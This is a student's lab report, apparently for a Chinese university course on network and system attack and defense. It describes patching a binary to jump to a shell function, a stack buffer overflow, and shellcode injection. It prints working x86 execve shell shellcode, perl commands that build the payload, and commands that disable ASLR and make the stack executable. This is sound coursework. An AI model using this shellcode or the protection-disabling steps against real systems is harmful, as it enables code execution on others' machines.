当前位置: 首页 > news >正文

20232319 2025-2026-1 《网络与系统攻防技术》实验一实验报告

1.实验内容

  • 篡改程序流程——直接修改可执行文件,跳转至getShell;
  • 栈溢出攻击——利用foo函数的缓冲区溢出漏洞,覆盖返回地址触发getShell;
  • Shellcode注入——构造恶意输入注入自定义Shellcode并执行。

2.实验过程

一、掌握NOP,JNE,JE,JMP,CMP汇编指令的机器码

  • NOP​​ 0x90 空操作指令,CPU不执行任何操作
  • ​​JNE​​ 0x75 不相等时跳转(ZF=0)
  • ​​JE​​ 0x74 相等时跳转(ZF=1)
  • ​​JMP​​ 0xEB(短跳) 0xE9(近跳) 无条件跳转指令
  • ​​CMP​​ 无固定值 比较指令,设置标志位

二、具体实验过程

(1)直接修改程序机器指令,改变程序执行流程

输入反汇编命令
objdump -d pwn1 | more

查看pwn文件
找到e8d7,编辑pwn文件,修改call指令的目标地址,保存后退出

修改pwn

修改成功后查看call指令是否调用getshell函数。发现成功调用

修改成功‘

运行代码,成功启动shell

启动shell

(2)通过构造输入参数,造成BOF攻击,改变程序执行流

了解程序基本功能

屏幕截图 2025-10-09 223025

确认输入字符串哪几个字符会覆盖到返回地址

屏幕截图 2025-10-09 223958(1)

确认字节序之后,构造输入字符串并检查
使用16进制查看指令xxd查看input文件的内容

测试地址

运行文件,成功!

成功

(3)注入Shellcode并执行

注入前的系统设置

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
2
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space 
0

测试前的设置

使用gdb调试,寻找pwn文件的对应进程,图中显示进程号为32675

寻找进程

构造shellcode
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
进行注入测试,发现0x01020304,即可锁定shellcode的位置
0xffffd33c + 4 = 0xffffd340

定位shellcode

构造perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
随后注入,成功运行shell
(cat input_shellcode;cat) | ./pwn20232319
bof成功

3.问题及解决方案

  • 问题1:gdb输入c命令后无响应
  • 问题1解决方案:需要在另一个终端上按回车,程序才能继续执行

4.学习感悟、思考等

通过本次实验,我认识到了机器指令是小端序、使用补码表示的。
通过本次实验的三个任务,分别是直接修改程序机器指令、构造输入参数造成BOF攻击、注入Shellcode,使我对x86指令有了进一步的认识,同时也了解bof攻击的流程。此外,shellcode注入的难度相较于前两个更高,经过学习后也体会到了每一个步骤的作用。

参考资料

  • MAL_逆向与Bof基础
http://www.zskr.cn/news/18242.html

相关文章:

  • gitlab配置aws的s3作为docker镜像的存储
  • 阿克曼函数
  • 04-补充mybatis-plus的Service接口
  • 关于根据距离列表排序sql
  • 注册c模块到lua中使用
  • S3Bucket安全评分与合规状态逻辑修复:全面提升云存储安全评估准确性 - 详解
  • DNA权威书籍
  • linux基础-find查找
  • Qwen2.5-VL技术报告
  • 攸米知识付费小程序管理系统:一站式知识变现解决方案
  • 利用MCP Server革新软件测试:更智能、更高效的自动化
  • 数据结构-设计一个算法删除单链表L(有头节点)中的最小结点。
  • 可视化图解算法63:单词搜索
  • AI大模型应用实践 八:如何通过RAG数据库实现大模型的私有化定制与优化
  • 【完结11章】基于Golang+Gin+Gorm+Vue3母婴商城项目实战
  • 25-1010 从房间回声看懂离散卷积原理
  • (13)ASP.NET Core2.2 中的选项模式(Options) - 教程
  • 印度尼西亚股票实时数据API对接文档
  • 20232304 2025-2026-1 《网络与系统攻防技术》实验一实验报告
  • lsh 的源码注释(1)
  • Codeforces Round 1056 (Div. 2) A~D
  • 某中心在旧金山设立AGI实验室专注长期AI研究
  • 微算法科技(NASDAQ:MLGO)开发延迟和隐私感知卷积神经网络分布式推理,助力可靠人工智能系统技术
  • 不止节能,更能 “生钱”:MyEMS 辅助企业参与电力现货市场的实操案例
  • 当能耗监控变 “游戏”:MyEMS 可视化看板如何让员工主动参与节能?
  • 从小时级到分钟级:多点DMALL如何用Apache SeaTunnel把数据集成成本砍到1/3?
  • 2025 最新隔音棉生产厂家口碑推荐榜:甄选实力与品质兼具的品牌,含西南 / 昆明高性价比厂商最新推荐防火墙/内衬/鸡蛋/聚酯纤维/装修/吊顶隔音棉厂家推荐
  • 2025 年高强钢板厂家最新推荐排行榜:聚焦国内优质企业,涵盖多型号产品,助力工业采购精准选型Q550D/合金/HG785D/ Q690D/S960QL/700L高强钢板厂家推荐
  • 2025 升降杆厂家TOP 榜:梁山信达恒泰,专注多领域设备供应,气动型升降杆源头厂家推荐!
  • 2025 年最新推荐耐磨钢板生产厂家排行榜:涵盖高锰 / 堆焊 / 双金属 / NM 系列及无磁类型,解决采购难题助力企业选高性价比品牌